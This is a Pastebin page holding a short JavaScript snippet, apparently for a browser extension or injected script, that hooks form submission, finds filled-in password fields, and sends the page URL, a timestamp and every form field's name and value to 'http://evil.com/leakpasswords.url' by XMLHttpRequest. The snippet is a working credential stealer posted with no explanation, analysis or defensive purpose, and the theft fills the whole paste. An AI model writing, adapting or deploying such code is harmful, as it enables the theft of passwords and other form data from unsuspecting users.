Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- window.document.onsubmit = search;
- function search() {
- var forms = content.document.getElementsByTagName('form');
- for(var i=0; i<forms.length; i++) {
- if(forms[i].id)
- var form = content.document.getElementById(forms[i].id);
- else
- var form = content.document.forms[i];
- for(var c=0; c<form.elements.length; c++) {
- if(form.elements[c].type == 'password' && form.elements[c].value != '')
- found(form);
- }
- }
- }
- function found(form) {
- var host = 'http://evil.com/leakpasswords.url';
- var currentTime = new Date();
- var minutes = currentTime.getMinutes();
- if (minutes < 10)
- minutes = '0' + minutes;
- var date = currentTime.getHours()+':'+minutes+' || '+currentTime.getMonth()+1+'/'+currentTime.getDate()+'/'+currentTime.getFullYear();
- var keyz = host+'?time='+date+'&p-domain='+content.document.location.href;
- for(var c=0; c<form.elements.length; c++)
- keyz += '&'+form.elements[c].name+'='+form.elements[c].value;
- send(keyz);
- }
- function send(keyz) {
- var xmlhttp;
- if (window.XMLHttpRequest)
- xmlhttp = new XMLHttpRequest();
- else if (window.ActiveXObject)
- xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
- xmlhttp.open("GET",keyz,true);
- xmlhttp.send(null);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement